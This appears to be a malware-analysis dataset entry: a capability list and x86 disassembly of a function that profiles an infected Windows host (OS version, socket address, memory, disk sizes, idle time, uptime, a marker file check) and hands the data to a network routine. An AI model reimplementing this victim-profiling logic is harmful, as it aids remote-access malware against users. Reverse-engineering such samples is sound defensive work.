Function at 0x1001b360
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x79c
push ebx
push ebp
push esi
push edi
mov ecx, 0xf0
xor eax, eax
lea edi, [esp + 0xc0]
rep stosd dword es:[edi], eax
mov byte [esp + 0x270], al
lea eax, [esp + 0xc4]
push eax
mov byte [esp + 0xc4], 0x66
mov dword [esp + 0xc8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xd0]
lea edx, [esp + 0xcc]
push ecx
lea eax, [esp + 0xcc]
push edx
push eax
call fcn.1001ad60
lea ecx, [esp + 0x5b8]
push 0x100
push ecx
call fcn.1001aa00
xor edx, edx
add esp, 0x14
mov dword [esp + 0x2c], edx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], edx
push eax
mov dword [esp + 0x38], edx
lea ecx, [esp + 0x30]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0x7b8]
push ecx
mov dword [esp + 0x30], 0x10
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [0x1011ef68]
test eax, eax
je 0x1001b425
lea ecx, [esp + 0x168]
push ecx
call fcn.1001adb0
add esp, 4
mov ecx, dword [0x1012bbac]
lea edx, [esp + 0x30]
push 4
lea eax, [esp + 0x170]
push edx
push eax
call fcn.10010ca0
lea ecx, [esp + 0x5ac]
push 0x100
lea edx, [esp + 0x174]
push ecx
mov ecx, dword [0x1012bbac]
push edx
call fcn.10010ca0
call fcn.10019f30
mov dword [esp + 0x160], eax
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0xb0]
lea edx, [esp + 0x5c]
push edx
mov dword [esp + 0x168], ecx
mov dword [esp + 0x60], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov ecx, 0x14
call fcn.1002d240
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
xor esi, esi
mov dword [esp + 0x27c], eax
xor ebx, ebx
mov al, bl
lea ecx, [esp + 0x1c]
add al, 0x42
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x21], 0x3a
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0
call edi
cmp eax, 3
jne 0x1001b510
lea edx, [esp + 0x54]
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0x50]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov ecx, 0x14
call fcn.1002d240
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1001b4c3
mov dword [esp + 0x280], esi
call fcn.1001a200
mov byte [esp + 0x270], al
mov eax, dword [esp + 0x7b8]
mov dword [esp + 0x274], eax
call fcn.1001a2d0
lea ecx, [esp + 0x32c]
push 0x32
push ecx
push 0x1011ec82
mov dword [esp + 0x284], eax
call fcn.1001ac30
add esp, 0xc
call fcn.1001a220
mov dword [esp + 0x328], eax
call fcn.1001a4c0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2f6]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0
call ebx
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x10]
shr edx, 0x18
push edx
lea edx, [esp + 0x484]
push ecx
push edx
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov eax, 0x95217cb1
mov edi, edx
mul edi
shr edx, 0x15
push edx
lea edx, [esp + 0x20]
lea eax, [esp + 0x4f4]
push edx
push eax
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
push edx
lea edx, [esp + 0x2c]
lea eax, [esp + 0x564]
push edx
push eax
call esi
lea ecx, [esp + 0x56c]
lea edx, [esp + 0x508]
push ecx
lea eax, [esp + 0x4a8]
push edx
push eax
push 0x1011f720
lea ecx, [esp + 0x2ea]
push ecx
call esi
mov edx, dword [esp + 0x7f4]
push edx
call fcn.10019ee0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x3c
push eax
lea eax, [esp + 0x2da]
push eax
call esi
lea ecx, [esp + 0x6ac]
push 0x100
push ecx
mov byte [esp + 0x1c], 0x44
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x1e], 0x66
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call fcn.1001ab30
add esp, 8
test eax, eax
jne 0x1001b6b9
mov edx, str.Default
test edx, edx
je 0x1001b6b3
push edx
call fcn.10019ee0
add esp, 4
jmp 0x1001b6c0
lea eax, [esp + 0x14]
jmp 0x1001b6c0
lea eax, [esp + 0x6ac]
push eax
lea eax, [esp + 0x288]
push eax
call esi
call fcn.1001a8d0
lea ecx, [esp + 0x35e]
push eax
push ecx
call esi
lea edx, [esp + 0x3c]
mov dword [esp + 0x460], 0
push edx
mov dword [esp + 0x40], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call ebx
sub eax, dword [esp + 0x40]
cmp eax, 0x2bf20
jbe 0x1001b711
mov dword [esp + 0x460], 1
push 0
push str.C:ProgramDatajerrt.txt
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x464], eax
call fcn.1001b300
push eax
lea eax, [esp + 0x46c]
push eax
call esi
lea ecx, [esp + 0xc0]
push 0x3c0
push ecx
mov ecx, dword [esp + 0x7bc]
call fcn.10004fa0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x79c
ret